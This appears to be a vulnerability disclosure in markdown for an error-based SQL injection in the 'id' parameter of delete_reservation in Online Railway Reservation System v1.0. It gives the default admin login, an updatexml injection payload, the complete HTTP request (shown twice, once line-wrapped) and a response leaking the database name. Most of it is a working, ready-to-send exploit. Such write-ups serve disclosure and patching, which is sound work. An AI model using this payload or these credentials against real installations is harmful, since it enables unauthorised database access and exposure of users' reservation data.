debug601 Create SQLi-5.md History

1 contributor

33 lines (24 sloc) | 1.26 KB

Online Railway Reservation System v1.0 by oretnom23 has SQL injection

The password for the backend login account is: admin/admin123

vendors: https://www.sourcecodester.com/php/15121/online-railway-reservation-system-phpoop-project-free-source-code.html

Vulnerability File: /orrs/classes/Master.php?f=delete_reservation

Vulnerability location: /orrs/classes/Master.php?f=delete_reservation, id=

Current database name: orrs_db,length is 7

[+] Payload: id=8' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

```
POST /orrs/classes/Master.php?f=delete_reservation HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
```

```
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.19/orrs/admin/?page=reservations
Content-Length: 65
Cookie: PHPSESSID=hea24clorqs9kplqalqihp0ik4
Connection: close

id=8' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+
```

```
POST
/orrs/classes/Master.php?f=delete_reserva
tion HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT
10.0; WOW64; rv:46.0) Gecko/20100101
Firefox/46.0
Accept: application/json,
text/javascript, */*; q=0.01
Accept-Language:
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type:
application/x-www-form-urlencoded;
charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer:
http://192.168.1.19/orrs/admin/?page=rese
rvations
Content-Length: 65
Cookie:
PHPSESSID=hea24clorqs9kplqalqihp0ik4
Connection: close

id=8' and
updatexml(1,concat(0x7e,(select
database()),0x7e),0)--+
```

```
HTTP/1.1 200 OK
Date: Tue, 07 Jun 2022 07:19:08 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 61
Connection: close
Content-Type: text/html; charset=UTF-8

{"status":"failed","error":"XPATH syntax error: '~orrs_db~'"}
```